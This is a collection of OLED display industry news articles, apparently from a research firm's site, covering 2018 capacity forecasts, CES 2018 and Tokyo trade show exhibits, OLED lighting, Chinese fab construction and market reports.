Analysis shows that LG Display’s net area capacity will be increased by 6.9 million square meters from 2018 to 2020, followed by Samsung Display with 5.8 million square meters increase and BOE with 4.4 million square meters increase.

On the other hand, when compared to the net area capacity for small and medium-sized AMOLED, Samsung Display is expected to increase by 5.8 million square meters, with the largest investment, followed by BOE of 4 million square meters’ increase and LG Display of 2.9 million square meters increase.

<Net area capacity of AMOLED mass production by company>

According to Lee Choong Hoon, CEO of UBI Research, LG Display’s AMOLED mass production line investment in China will lead LGD to more than double BOE’s AMOLED production capacity in terms of net area capacity in 2020, however, BOE is expected to overtake LG Display at small and medium-sized panel capacity in 2019.

AMOLED Display Market Track consists of investment data, market performance, market forecast, ASP, cost analysis, competitiveness analysis and so on. The investment data in this report contains details of the investment history of the panel companies, current status, and investment prospects for the next three years. Also, the useful data and graphs analyzed in various aspects are provided in excel format.

At the 10th CAR-ELE JAPAN, Many Companies Unveiled Automotive OLED Display and Lighting

By Hana Oh (hanaoh@ubiresearch.com)

OLED display and lighting are expected to become increasingly applied to the interior and exterior of automobiles.

At CES 2018, Samsung Electronics introduced the OLED-applied dashboard. LG Electronics unveiled the center fascia with 14-inch OLED, and OLED set makers continue to exhibit their OLED applications for automobiles.

At the 10th CAR-ELE JAPAN held in TOKYO BIG SIGHT(Tokyo International Exhibition Center) on 17th, several companies including Tianma and Truly exhibited automotive OLED displays and lighting.

Tianma exhibited 4.2-inch, 5.46-inch and 5.99-inch OLED panels. The 5.99-inch OLED was a full-screen OLED, and the company official said “The full screen will be applied not only to mobile devices but also to automobiles such as CIDs and navigation systems due to the nature of automotive displays sensitive to visual impacts.” It is said they produced the OLED Panel with high luminance, including 5.46-inch and 4.2-inch OLED with luminance of 650 cd/m2, ensuring good high visibility under sunlight. In addition, they announced that they will manufacture unbreakable flexible type of OLED even though the exhibited OLEDs were all rigid type.

<Tianma’s Automotive OLED Panel>

Truly exhibited 5.5-inch OLED panel. The company’s official mentioned that although they can not disclose detailed specifications, it should be further developed in terms of reliability for the application to the current automotive displays. In addition, they announced that automotive potentials such as autonomous vehicles are so huge that the importance of displays that can provide visual information will become even more important, and therefore they will invest in it.

Lastly, Nippon Electric Glass introduced OLED lighting which was created in collaboration with OLEDWorks. “This was created as interior lights and taillights for vehicles.” and “The OLED lighting substrate uses IEL(internal extraction layer) to improve more efficiency when applied to indoor lights, and better visibility when applied to taillights,” explained the company’s official.”

<OLED Lighting exhibited by Nippon Electric Glass>

Meanwhile, in relation to OLED lighting, OLED light source companies such as LG Display and Osram supplied the OLED lights for tail lights to finished car makers such as Mercedes-Benz and BMW. In particular, it is expected to start the OLED lighting market in earnest, for example LG Display’s announcement of full-scale operation of the Gen5 OLED light source production line in December.

PMOLED and Micro OLED Stand Out In the Wearable Device Market

At the 4th wearable expo being held from January 17th in TOKYO BIG SIGHT -Tokyo International Exhibition Center, many companies attracted the attention of participants by exhibiting OLED wearable devices and OLED panels. Particularly, at this exhibition, many wearable devices with PMOLED and micro OLED were displayed, which proved once again infinite possibilities of OLED.

First, ColorLink Japan unveiled its VR and AR devices with micro OLED. Micro OLED is a panel that can realize high resolution in small size by reducing OLED panel to micro size. “The micro OLED applied to ColorLink Japan’s VR equipment is 0.7-inch in size with FHD resolution, and we were able to manufacture more compact and scarce VR device by applying micro OLED”, said an official from ColorLink Japan.

<ColorLink Japan’s Micro OLED VR and AR>

In addition, Fitbit and iWOWNfit exhibited smart bands with PMOLED. PMOLED refers to a passive matrix OLED that does not use TFT, which is a switching device, and is mainly applied to low resolution devices that display numbers or characters rather than high resolution-required devices. In relation to the reason for the application of PMOLED, both companies explained that they have been able to significantly reduce power consumption by applying PMOLED, and the OLED prices have fallen considerably so that they have sufficient price competitiveness.

Meanwhile, OLED panel makers also exhibited a number of OLED panels for wearable devices. Pioneer, which firstly produced mono color PMOLED for FM character broadcast in 1997, attracted participants by introducing a number of PMOLEDs and devices using this. Pioneer announced its goal to diversify its business centering on PMOLED, introducing PMOLED-applied Bluetooth speakers, smart watches, and AR devices.

<Pioneer’s PMOLED Panel and AR>

RiTdisplay also attracted attention by exhibiting a number of wearable appliances and panels with many PMOLEDs. RiTdisplay said, “Since the AMOLED market is already occupied by Korea, it is inevitably lagging behind its productivity and price competitiveness”. “Instead, PMOLED enables easy customization with less production cost than AMOLED so it is competitive in the wearable device market.” Also, they announced that since smart bands will be more aggressive in this market due to lower ppi than smart watches and mobile devices, they will actively target the market.

<RiTdisplay’s PMOLED Panels & Applications>

In addition to AMOLED which is leading the mobile device and TV market, various methods of OLEDs such as PMOLED and micro OLED are being actively applied to wearable devices, thereby expanding its influence. The future of OLED, which is being increasingly utilized, is expected.

[CES 2018] OLED TV in 17 Types to be Displayed Compared to 2017, and OLED Manufacturers to be Expanded Further

By Hana Oh (hanaoh@ubiresearch.com)

The number of OLED TVs exhibited at CES 2018 increased to 31, which was a significant increase of 17 from CES 2017. The number of OLED TV companies that exhibited at CES 2018 were 7 including LG Electronics, Sony, Panasonic and Skyworth.

At CES 2018, OLED TVs were exhibited with 6 for 55-inch, 19 for 65-inch, and 6 for 77-inch. 65-inch OLED TVs were most on display, and it was noticeable that many companies were focusing on 65-inch OLED TV products. 77-inch OLED TVs in 6 types same as 55-inch were exhibited so that it was found to be included in the main lineup.

In addition, the display resolution of all OLED TVs was UHD because UHD products were mainly displayed according to consumers’ demand for high-definition TV. OLED TVs with FHD resolution had been exhibited until 2015, and only OLED TVs with UHD resolution have been on display since 2016.

Meanwhile, LG Display’s Vice Chairman Han Sang-beom said, “We will raise the sales portion of OLEDs to 40% of total sales by 2020” in a press conference on 8th local time, which implied that OLED TV market will be more expanded.

In addition, Vice Chairman Han Sang-beom said that two major Chinese companies will join the OLED market. As a result, the number of OLED manufacturers will grow from 13 to 15, including LG Electronics, Sony and Panasonic so that the OLED companies are expected to be expanded further.

OLED TV, which is currently leading the premium TV market, is expected to see a bigger rise.

UBI Research, ‘2018 OLED KOREA Conference’ will be held on 7th to 8th of March

OLED Korea Conference, the global OLED conference, will be held on 7th(Wed) to 8th(Thu) of March.

The 4th OLED Korea Conference will be held on the theme of ‘OLED with opportunity & adding value to your business’ at the Novotel Ambassador Hotel in Seoul, Korea for two days. It is expected to provide a platform for various information and exchange of opinions regarding presentation of each theme.

OLED industry, which is continuing to grow at a high rate is expected to surpass the LCD market share in the small and mid-sized market of this year.

According to UBI Research, the OLED research organization, small and medium-sized OLED panel shipments for mobile devices are expected to grow up to 6.3 billion won in this year, which is 53.2% growth compared to last year. On the other side, OLED panel shipments for TV is expected to grow up to about 2.4 million won which is 47.2% growth compared to last year.

In this conference, there will be presentations on the topic; ▲ View from Panel Makers about OLED Market ▲ Solution Process Technology, yet to come ▲ New Performance Development from Major SCMs ▲ New Technology Discussions for Next Generation Display or Better Process from global companies such as Microsoft, Boeing, Sony and leading companies such as 3M, Applied Materials, Corning, Cynora and OLED panel company, set company, material/device company, university/research institute as well as domestic and foreign experts of OLED display.

Also, UBI Research, Japan Mizuho Security and French market research institute ‘Yole development’ planned a lecture about the title of “Opinion from Business and Industry Analysts.”

Especially, Yoshihiro Ono, TV business manager from Sony will present about OLED TV launch for the first time in Sony, which was one of the biggest issues in OLED industry of 2017. The title is ‘Designs for BRAVIA OLED TV and Expectations for large screen OLED devices’ and contents are about adoption background, BRAVIA OLED TV development history and different points of OLED TV from other companies.

In the 4th OLED KOREA Conference which will show trends and developments of OLED industry, it is expected that more than 200 major domestic and foreign experts and industry workers will participate. This conference has received much attention as it is planned to provide opportunities for networking and continuous exchanges of relevant information and know-how. For more information, please visit www.oledkoreaconference.com.

[CES 2018] This is the era of “Connected”

By Hana Oh (hanaoh@ubiresearch.com)

“Connected” is the theme of largest number of exhibitors participating in 2018 CES. In the future, home appliances and electronic goods such as TV, washing machine, refrigerator, and automobiles will be connected to people and operated with artificial intelligence (AI).

CES 2018 is a chance for many set-makers, including LG Electronics and Samsung Electronics, to highlight both that electronic goods are connected with users as it is connected and converged going beyond single primary function and using electronic good equals to the user’s “life style”. “Connect” and “Expansion” is a way for many companies to show how they communicate with the upcoming new era: LG electronics launches new brand of Thin Q, Samsung Electronics suggests connected city phone and life style through connection of phones with consumer electronics, and Intel displays AI-applied applications, and autonomous cars.

<“ThinQ” of LG Electonics >

Now, display is changing in order to facilitate and enable the “Connectedness” of these electronic devices. If display was simply recognized as image projection in the past, now it becomes a tool of “Communications”. “Connected” without display seems incomplete as it recognizes the user through display and extend from information output to information selection and recognition of correct information.

OLED is expected to apply to 5G and AI favorably as it is applied to diverse electronic products including TV, mobile devices and automobiles thanks to flexibility of product design and superior color presentation.

<’AI’ of Intel>

< ‘connected city’ of Samsung Electronics>

[CES 2018] OLED TV exhibition from major set manufacturers

On 8 January 2018, the largest electronic show is held at Enclave Convention Center in Las Vegas, United States.

Major electronic companies such as LG Electronics, Sony, Vestel, Changhong, Skyworth presented OLED TV as main exhibition. In particular, Samsung Electronics’ “Micro LED” exhibition received a great deal of attention.  Samsung Electronics unveiled the world’s first “micro LED” technology-applied 146-inch modular TV, “The Wall.” People came to see the product and it was heated up in a hot issue. Samsung Electronics emphasized that this product is a future screen that is unlimited in image quality, size and form. Through the implementation of the local dimming 3000, “The Wall”, which was unveiled at the exhibition show is developed by brightness, contrast ratio, color reproduction and black display compared to the existing display.

<‘Micro LED TV ‘The Wall’ of Samsung Electronics’>

Especially, the existing “Mini LED” products were exhibited along with “The Wall” for comparison of exhibition. And the excellence of “Micro LED” was outstanding. “Mini LED” products was little far from the large display as pixels and the lines of each module were shown on the screen.

LG Electronics, Sony, Changhong and other companies presented 65-inch and 77-inch OLED TV display products including Sound Acoustic OLED TV products. In particular, Konka reflected the trend that TV is a part of furniture, not just electronic products and it consists of a set design that took advantages of Chinese traditional atmosphere.

In addition, many set manufacturers have demonstrated the advantages of OLED TV, which is the lightest and thinnest through “Wall Paper TV” and “Slim” concepts.

<A8F Bravia OLED TV of Sony>

 

<OLED TV of Kongka>

 

‘TCL’, which occupies a side of QLED TV showed more advanced QLED TV in image quality and color reproduction range. According to the person in charge of TCL, QD dominated the portion of the current market therefore, many manufacturers are producing Quantum dot LCD, and also considering OLED TV launches. The person in charge emphasized that they are building factories in China that produce only OLED.

LG Electronics is a leading OLED TV company and showed OLED which is being developed continuously through making tunnels of OLED TV. They revealed that LG Electronics is the world’s first OLED TV set manufacturer. People look forward to seeing OLED growth in the future through CES the first electronic exhibition show in 2018.

LG Display to Showcase Next-Generation OLED Products at CES 2018

LG Display will showcase its distinctive technologies during the ‘Consumer Electronics Show (CES) 2018’ exhibition held in Las Vegas from January 9th to 12th, and aggressively engage in marketing.

In this exhibition, LG Display displays distinctive OLED products in various aspects such as image quality, application range and design for customers to directly experience the value of OLED.

LG Display unveils products that have realized unique and distinctive values of OLED, such as 65 inch UHD rollable display and 55-inch transparent display.

In particular, the 65 inch UHD rollable display proposes the future of display, offering a new look and experience. It is a rollable display with 65 inch ultra-high resolution (UHD, 3,840 x 2,160).  When not in use of the display, the screen can be rolled in to be hidden away to increase space utilization, providing a new value that existing displays cannot realize. In addition, it is easy to move and install the screen when it is rolled up and also possible to adjust the screen size and the ratio optimized for the purpose of use- the user can enjoy the desired content anytime and anywhere. LG Display has demonstrated the unlimited potential of OLED to create a new market through introduction of the rollable display.

In addition, LG Display has implemented an 88 inch 8K TV as an OLED display, and Crystal Sound OLED TV also upgraded its audio function from the existing 2.1 channel sound to 3.1 channel sound. LG display will deliver the confidence in OLED to customers, exhibiting products that emphasize the benefits of OLED, including 55 inch transparent displays and 77 inch wallpapers.

<LG Display’s rollable display, Source: LG Display>

CES 2018: Expected to Showcase Low to Mid-End Smartphones

By Hana Oh (hanaoh@ubiresearch.com)

Samsung Electronics and LG Electronics are going to unveil low to mid-end smartphones at CES 2018 instead of their mainstream smartphones.

Samsung Electronics will showcase 5.6-inch Galaxy A8 and 6-inch Galaxy A8 Plus at CES 2018. The Galaxy A8(2018) series are expected to adopt a 18: 9 ratio full screen OLED similar to Galaxy S8 design with almost zero bezel.

<Samsung Electronics’ Galaxy A8, Source: news.samsung.com>

LG Electronics is going to introduce four K series, K3, K4, K8, and K10. Among them, K10 has a 5.3 inch FHD LCD and it is changed to X series in Korea and is expected to be released at the end of January.

Meanwhile, there is an opinion that Samsung Electronics and LG Electronics’ plan to release low to mid-end smartphones is a bulwark against Huawei which announced the entry into the North American smartphone market.

Huawei has recently partnered with AT&T to sell the Mate 10 series in the US from February 2018. Mate 10 has a 5.9 inch IPS LCD, and Mate 10 PRO has a 6-inch OLED. Huawei announced that it will aggressively advance into the North American market to become the world’s second-largest smartphone maker, outpacing Apple this year.

Samsung Electronics and LG Electronics intend to strengthen their low to mid-end smartphone specifications up to the premium level as well as their flagship smartphones to dominate the smartphone market until new mainstream smartphones are launched and to check other companies including Huawei.

Meanwhile, more details such as the price and mobile provider of Huawei Mate 10 series to be released in North America will be disclosed at the CES 2018 exhibition.

<Huawei’s Mate 10 Pro, Source: GSMArena.com>

Completed the Construction of CSOT Wuhan Gen6 LTPS OLED Fab

On December 28, CSOT’s Wuhan Gen6 LTPS OLED(T4 fab) production line was announced to be completed four months ahead of schedule. CSOT started building T4 fab in June 2017 and built a factory with a capacity of about 600,000 pyeong(1,983,471 m²) in 199 days. The total investment amount is reported to be 5,080 million dollars.

<CSOT’s T4 Production Line Rendering Image, Source: China Daily>

CSOT’s T4 fab has received attention as China’s first Gen6 flexible LTPS OLED production line. T4 fab is known to have a production capacity of 45,000 units per month, and it is expected to mass-produce small and medium-sized flexible OLEDs and foldable OLEDs.

Meanwhile, CSOT said that the next step is to build clean rooms and have equipment and they aim to start producing in 2019.

Approval of LG Display Plant in China, cementing the global No.1position in large OLED market

LG Display has earned approval to invest in Gen 8.5 OLED panel plant in Guangzhou, China.  As the government, who has delayed the approval due to the possible technology leakage, finally gives ‘a conditional approval’ for the plan, the construction of large size OLED panel factory will embark on.

 

The Ministry of Trade, Industry, and Energy (MOTIE) hosted ‘the 17th Industrial Technology protection Committee’ on June 26th, in which government officials and 20 civilian members participated to approve LG Display’s overseas expansion of OLED panel manufacturing technology on the condition of maintaining the localization ratio of equipment and materials to a certain level, preparing local security measures, and investing in next-generation technologies in Korea.

 

This approval would be a chance for LG Display to further increase the productivity of large size OLED panels and strengthen its market competitiveness.  In addition, they can expect sales growth and tariff reduction in Chinese TV market.  At the IMID 2018 held in BEXCO in Busan last August, LG Display CTO In-Byeong Kang said, “ Recently OLED TV has overtaken LCD TV market share in North and Central Americas and Europe, but not yet in China.  We will increase our market share of OLED TV in China, which is recently being raised as a largest TV market in the world.”

<Market share of global OLED TV market: LG Display>

LG Display plans to strengthen its presence in larger OLEDs by completing both the newly approved Guangzhou Gen OLED line and Paju Gen 10.5 line.  According to UBI Research, LG Display’s 55-inch and larger OLED panel shipments are projected to increase from 2.4 million units in 2018 to 10 million units in 2022.

<Expectation of 55-inch and larger OLED panel shipments 55 inch >

OLED applied Galaxy Book 12.0 released in Japan

<Galaxy Book 12.0, Source: news.samsung.com>

Samsung Electronics launched its Windows tablet ‘Galaxy Book 12.0’ in Japan. It has a 12-inch OLED display with an aspect ratio of 3: 2 and a resolution of 2,160 × 1,440. The size is 291.3 × 199.8 × 7.4 mm (WLH), the weight is 754 g, and the official price is 139,800 yen.

Galaxy Book 12.0 was released to the public at MWC 2017, the world’s largest mobile telecommunication exhibition held in Barcelona, Spain on February 26, and was pre-booked in Korea in April. At MWC 2017, a Samsung Electronics official said, “Galaxy book is expected to be able to target both tablet PC and notebook market at the same time, and burn-in phenomenon, which is a weak point of AMOLED panel, has been improved enough to be used for notebook applications.”

OLED, which was mainly applied only to mobile devices and TVs, has recently been applied to tablets and notebooks, widening its application range. In early 2017, Alienware launched the ’13 R3 2017 ‘with 13.3-inch OLED, and Lenovo also released the X1 Yoga 2017, which is powered by a 14-inch OLED in July 2017.

As OLEDs are applied to various applications and become the mainstream of display industry, it will be interesting to see if they can exert their influence in the tablet and notebook market as well.

LG V30 + launched in Japan and India

According to ITmeadia of Japan, NTT docomo said that LG Electronics’ smartphone ‘V30 + L-01K’ and ‘JOJO L-02K’ started to be sold in advance as from 12:00 on December 20th at DoCoMo store and web site. The full-fledged release of V30 + L-01K will be at the end of January 2018, and that of JOJO L-02K is scheduled in March 2018.

<JOJO L-02K, Source: nttdocomo.co.jp>

V30 + L-01K is equipped with 6-inch QHD OLED, 16.5 and 13.1 megapixel dual cameras, and a wide-angle camera for panorama.

JOJO L-02K is a product celebrating the 30th anniversary of the JoJo’s odd adventure series- Japanese animation. The special edition of JOJO L-02K is limited to 10,000 and the price is 125,712 JPY. It is known that it is also equipped with AR camera mode to make an effect of being with a character.

V30 + has been also available in India since December 18th. Its price is RS. 44,900 (760,000KRW); aurora black and cloud silver will be released first, and other colors will be added later. It features one free display replacement and can be purchased only through amazon.in.

OLED lighting, growing their presence

By HyunJun JANG (hyunjun@ubiresearch.com)

 

As the OLED lighting has expanded its applications, the expectation is raised for the beginning of the OLED lighting market. In particular, LG Display has recently completed the OLED lighting production line and started attracting customers.  As a result, there is much attention towards the growing OLED lighting market.

 

LG Display is said to supply its OLED lighting to Baskin Robbins Brown store in Cheongdam Dong and the ‘transparent connection solution’ applied OLED lighting to IOPE store in Myeong Dong.  The company explains as the thickness of lighting is as thin as 0.88mm, it enhances aesthetic effect, and does not effect on cosmetics and other displays with less heat generated.

<OLED lighting applied to IOPE store, Source: lgoledlight.com>

Until recently, compared to OLED display for mobile devices and TVs, OLED lighting has shown slow growth.  However, OLED lighting is thinner, lighter, and more flexible so that it is now being consideres as a next generation lighting.  By tapping on the strengths, it has applied not only to indoor lighting but to cars, exhibitions, and many other industries.

More recently, IKEA announced to release a new lighting product of Vitsand with 7 OLED panels while Mercedez-Benz decided to apply OLED lighting for taillights of both 2018 Benz S class Coupe and Cabriolet.

According to the 2017 OLED Lighting Annual Report published by UBI Research, the global OLED lighting panel market is expected to grow rapidly from 2020, becoming $1.9 billion worth of market by 2021.

UBI Research, an OLED specializing global research institute, is invited as an overseas expert in the Shenzhen Display Industry Association

<Right: Jeff Kwok, Vice President and Executive Director of the Shenzhen Display Industry Association
Left: Choong Hoon Yi, the CEO of UBI Research>

 

On November 25, Jeff Kwok, Vice President and Executive Deputy of the Shenzhen Display Industry Association, officially invited Choong Hoon Yi, the CEO of UBI Research, an OLED specializing global research institute, as an overseas expert of the association.

 

In January 2005, the Shenzhen Display Industry Association was established by 30 leading companies of the association, and established a touch screen division in 2009. It is the first display association established in China. Its members are from all over the country and from abroad, and overcoming the local limits of Shenzhen, it is the largest in scale and influence in China and actively working for industry development. In 2014, the Shenzhen Display Industry Association established a specialist committee to try to meet more requirements of the companies related to the members and the industry, and to provide various services such as technical consulting services.

The Association Expert Committee is composed of technical experts in each area and top industry analysts in the industry. The members have been invited from companies, schools, scientific research institutes, industry analysis institutions, etc. in the display industry at home and abroad, and they are striving to build a solid human resources platform for healthy development of the Chinese display industry.
UBI Research announced that it will contribute to the development of OLED industry in Korea, China, and the world as a global research institute in the OLED industry through participation in the expert committee of the Shenzhen Display Industry Association. UBI Research will provide more reliable industry and market analysis services to the OLED industry by establishing relationships with various companies in the Chinese display industry, which is recognized as an important market.

Flexible OLED Leading the OLED Panel Market from 2019

■ Flexible OLED is expected to ship 480 million units in 2019, surpassing Rigid OLED shipments.

■ Full-screen OLED among Flexible OLED is expected to have an average market share of 78.3% by 2022, dominating the market.

■ Foldable OLED is expected to ship in earnest from 2019.

Flexible OLED shipments are expected to exceed rigid OLED shipments in 2019. According to the ‘2017 Flexible OLED Annual Report’ published by Ubi Research, flexible OLEDs are expected to ship 480 million units in 2019, surpassing 409 million units of rigid OLED shipments. In addition, flexible OLED shipments will grow at a CAGR of 41% starting in 2018, reaching 1,285 million units in 2022 with forecasted revenue of US$ 59.4 billion.

<OLED Market Share Forecast by Substrate in 2018 ~ 2022>

Recently, as the hardware technology of mobile devices has been leveled up, set makers targeting the premium market are trying to differentiate their products by adopting OLED. Especially, set makers are beginning to introduce flexible OLED capable of full screen, as the needs of consumers who want a wider screen in mobile devices (even in the same sizes) on the increase.

 

Accordingly, panel makers are continuing to invest in flexible OLED mass production. Since Chinese panel makers such as BOE, CSOT and Visionox are expected to start mass production of Gen6 flexible OLED starting in 2018, flexible OLED shipments will likely grow at an average growth rate of 59% per annum, reaching 354 million units by 2022.

 

This report compares the structure and process of rigid OLED and flexible OLED, and analyzes the trends of technology development for foldable OLED implementation by layer. It also compares the flexible OLED application technology of Samsung Electronics, Apple, and LG Electronics which released mobile devices with full screen OLED. The report also forecasts the flexible OLED market from 2018 to 2022 by categorizing into various perspectives including flexible type, country and generation.

 

According to the report, full screen OLEDs of flexible OLEDs will ship 265 million units in 2018 with a market share of 82.1%, and 1,022 million shipments will be made in 2022, accounting for 79.5% of the market, leading the flexible OLED market. In addition, the foldable OLED, which has been receiving a great deal of attention recently, is expected to ship 5 million units from 2019 and 53 million units by 2022.

<Foldable OLED Shipment Forecast in 2018~ 2022>

RGB ink-jet printing, also applied to small and medium-sized OLED?

At the “Year End Seminar of OLED/Display” held at COEX in Seoul, Korea, on December 7, Kim, Seok-Soon, CEO of Unijet said that ink-jet printing technology can implement over 550 RGB ppi and ink-jet printing can be applied to small and medium-sized OLED process as well.

The currently mass-produced QHD resolution of 5.5-inch mobile device is 550 ppi but it is actually 400 ppi with pentile structure. Moreover the ink-jet printing technology for RGB pixels is currently in the range of 150 to 200 ppi which can achieve 8K resolution on over 55inch OLED, yet inapplicable to the small and medium-sized OLED process. As Kim announced, if the ink-jet printing technology is applicable, implementing 550 ppi in the small and medium-sized OLED process, beyond QHD resolution in 5.5 inches, it is possible to implement UHD resolution in pentile structure.

<ppi by size and resolution>

Kim said, “In 2012, single droplet measurement technology showed 2.5% or less of volume accuracy, which was, however, insufficient for RGB printing.  In 2017, the laser droplet measurement technology enabled the discharge volume control less than 0.1 μm and the real-time internal pressure control reduced the volume accuracy by less than 0.1%.” Kim added that it is possible to form over 550 RGB ppi regardless of the pixel structure.

Lastly, Kim noted that the solvent purity for OLED RGB pixel is very important; “Inkjet printer can be commercialized only if ink materials are fully developed first to satisfy panel makers. He expected that it will be applied to the mass production line in earnest since 2020. ”

OLED TVs which are driving forces of both LG Electronics and Sony′ performance

The director, So, Hyun-cheol, mentioned during the ′Closing seminar of OLED/Display′ held at COEX in Seoul on December, 7th about that OLED TV has made 9.9% of operating profits for LG Electronics in Q3, 2017. He forecasted there, Sony and LG Electronics who are producing OLED TV now will lead the premium TV market in the future also, in particular, while explaining about that the demands have highly increased as OLED TV entered into under $3,000.

The director, especially, explained that Sony took No.1 player in the premium TV market in 12 years, moreover, one of the driving forces for stock price rise of them at 445% in 2013 was OLED TV. He evaluated them such followings that “Sony has starting to improve the structure of operating profit by focusing on 55-inch and 65-inch TV, and “They built the TV business structure in stable through launching OLED TV in 2017”.

He also expected that the investment for 10th generation OLED producing line of LG Electronics will be moved sooner than expected. He also forecasted that demands on large-sized OLED TVs will rise due to the Winter Olympic Games in Pyeong-chang and World Cup in Russia next year, especially, its investment of OLED line will be accelerated, because Sony would also want it.

Subsequently, while the director mentioned that the cost savings will be accelerated by improvement of yield of OLED TV panel, he said, “Although, 55-inch LCD panel is difficult to improve the production cost more since it is already reached to enough yield as 232$, but, the price competitiveness in the 55-inch OLED production cost will be intensified more, because, there is still able to reduce it from current 545$ up to 378$ by the yield improvement”.

Lastly, Mr. So, expected that the sales volume of OLED TV panel will reach to 2.9 million units in 2018 by operating E4-2 line of LG Display in full. The panel business will be turned into profit-making, and operating profits of OLED TV business shall meet 17.3% in 2019.

The strategy of LG Display’s OLED TV, Source: Shinhaninvest

The number of OLED TV products in 2017 has doubled compared to last year

OLED TV models launched in 2017 have been highly increased rather than both 2015 and 2016. 16 types of OLED TVs were launched in 2016, while 29 kinds of OLED TVs were launched which covers that the number of products has nearly doubled from last year. By company, LG Electronics released total 10 types of products which are the greater number of products launched than competitors, and followed by Loewe with 5 types of products.

<Comparison of No. of OLED TVs by each year>

Meanwhile, OLED TV market led by LG Electronics, was taken attentions of publics when Sony decided to launch OLED TV first in the early of 2017. Sony which launched OLED TV first in CES 2017 to catch public’s eyes with “Acoustic Surface” technology that can make sounds without speakers, is leading the premium market with LG Electronics by producing 55-inch, 65-inch and 75-inch OLED TVs.

The number of OLED TV products are expected to increase in 2018 more and more. According to Flat Panels HD, Philips which launched only one model with 55-inch OLED in the early of this year, decided for releasing the 6 kinds of OLED TV such as 65OLED973, 65OLED903, 65OLED873, 65OLED803, 55OLED903, 55OLED803 and so forth. It is analyzed that the strategy is to aim at diverse consumers which divides OLED TV leading the premium TV market into high-priced line with 9xx model and low-priced line with 8xx model.

The shipment in 2018 is also expected to grow. In accordance with UBI Research, it expects that OLED panel with 55-inch and more will shipped over 2.4 million units in 2018, 9.1 million units in 2022. There is much attentions how OLED TV leading premium TV market will harden its positions all the more in 2018.

<Shipment forecasting of OLED panel in 55-inch and more in 2018-2022>

AOI equipment market for OLED mobile devices is expected to reach US $ 23.3 billion by 2021

AOI equipment used for small and medium-sized OLED inspection is non-contact inspection equipment that analyzes the presence of defects by irradiating the product with light and measuring the difference in the amount of the reflected light. The AOI equipment detects not only pattern defects by recognizing the difference through comparison of repeated patterns but also foreign objects on mask and substrate before and after LLO process.

 

As a result, AOI equipment is used in almost all OLED processes such as TFT pattern inspection, mask particle inspection, OLED pixel inspection, encapsulation inspection, and pre-and after LLO substrate inspection.

 

HB Technology, DIT, and LG PRI are major AOI equipment manufacturers. HB Technology, DIT and LG PRI produce almost all AOI equipment used for OLED process, whereas HIMS mainly produces AOI for mask foreign object inspection.

 

According to the ‘2017 Inspection and Measuring Equipment Report for OLED Mobile Device’ recently published by UBi Research, the market for inspection and measuring equipment in the entire OLED equipment market is estimated to be US $ 6.63 billion (about KRW 7.3 trillion) from 2017 to 2021. Among them, AOI equipment market is expected to be US $ 2.33 billion.

 

When it comes to processes, the AOI equipment market for TFT process is expected to create the biggest market of US $ 1.36 billion, and the AOI market for OLED pixel process, encapsulation and cell process will be US $ 430 million, US $ 390 million and US $ 160 million, respectively.

 

UBi’s Researcher, Yoon Dae Jeong said, “We can discover the added value of AOI equipment in that AOI equipment can improve yield by detecting and repairing defects during the OLED process and reduce the quality cost by preventing the further process of defective products.“ “With the technological development of AOI equipment, panel manufacturers are also actively introducing AOI equipment, and the AOI market is expected to grow even larger, as the inspection items are increasingly being strengthened.”

 

<2017 ~ 2021 OLED Mobile AOI Equipment Market Forecast>

IoT Era – Smart interface focused on display

 

With the Google’s comments in 2015 that the new IoT era is coming, the 13th China International Display Conference started with the presentation of BOE, a large Chinese display company, with the topic of the era of smart interfaces to be developed in the future.

Randy Chen (BOE, Sales Marketing Executive) shared the overall IT market trend as the first presentation and delivered the BOE’s strategy within it. At the heart of the IOT industry, which is expected to account for around $ 10 trillion in 2050, smart interfaces that link 5G communications and electronics to displays will play a big role and emphasized 8K and flexible display as BOE’s survival strategy. For this, he announced that they are working to build the 8K Industry Alliance and continuing to invest in the production of flexible displays starting with Chendu’s G6 Flexible Line. OLED panels produced in the Chendu B7 line, which began operating in the second half of this year, will be supplied to a smartphone maker in Shenzhen and expected to be seen in the market early next year.

Next, Xiuqi Huang (GVO, Vice President) of Visionox, who first started producing OLEDs starting with PMOLED, mentioned the change of smartphone trend and said that a mobile device with a foldable and rollable type using a flexible panel will be introduced in the future. He said that the technological development is required not only in design but also in related equipment and materials and Visionox has also been actively developing its technology.

CSOT, which produces QD-LCDs together with Samsung Display, mentioned the development potential of QLED and OLED TV and said that it was spurring technological development and investment as a latecomer. Especially, it was developing large-area inkjet printing technology that has advantages of relatively high material utilization rate and price competitiveness, on the other hand, it shared the goal of developing a smartphone panel that minimizes Bezel.

Following the presentation of representative panel companies in China, Lee Choong-hoon of Ubi Research, a global OLED research company, forecasted the market size of the OLED market, which is already leading the small-medium-sized panel market and the premium TV panel market and discussed why OLEDs have grown rapidly as a next-generation display. Ubi Research, as an OLED professional research company, is suggesting directions for future growth of OLED based on years of data and research experience.

In current display industry, major global smartphone makers such as Apple, Samsung and Huawei already have plans to apply OLED to all flagship models and TV companies such as LG Electronics and Sony have also shown that OLED TVs can only succeed in the premium market. This is why we expect the development of various types of panels and various applications that maximize the advantages of OLED forward.

IT Industry in China is still hot, OLED is center on that

News about when, where, what size of new investments emerge from Samsung display who leads Recent Small and Medium-sized OLED Market and LG display who leads large OLED market should come true are continuously main news in Display industry. In the middle, Maybe, publics who are invovled in industry, are interested in watching when will China’s panel companies who are processing on construction of flexible OLED line supported by government between Korea narrows the technology gaps.

The Hi-Tech Fair, which celebrates its 19th anniversary this year, is a representative event showing how much China is interested in the IT industry.
Hi-Tech Fair held in Shenzhen, China from November 16th to 19th exhibits almost all fields relevant to IT industry. Communication with Display is a key point to increase importance of IT industry and these two field is developing by complex connecting with another field.

Exhibition include total 9 hall and the newest technology such as Smart cities, robots, aviation, telecommunications, home appliances, games, and other technologies that connect with IT can be seen in that area. Among them,  one that stick out in 1 Hall is Visionox which is large panel company in China, many people are gather together to watch China’s Display Panel technology.

Current smart phone display’s trends are a bezel-less design that maximizes the screen by minimizing the bezel and a curved design represented by the Galaxy Edge series. In this exhibition, Visionox showed a the bezel-less design smartphone which applied rigid OLED and a curved design smartphone which applied flexible OLED having 8R bending radius.

According to officials, disclosed curved display is going to apply to smartphone which will launched in market earlier in 2018. So, this process is currently making decision about supplying with china’s smartphone company. In addition, a variety of flexible displays being developed for future foldable and rollable applications have been on display.

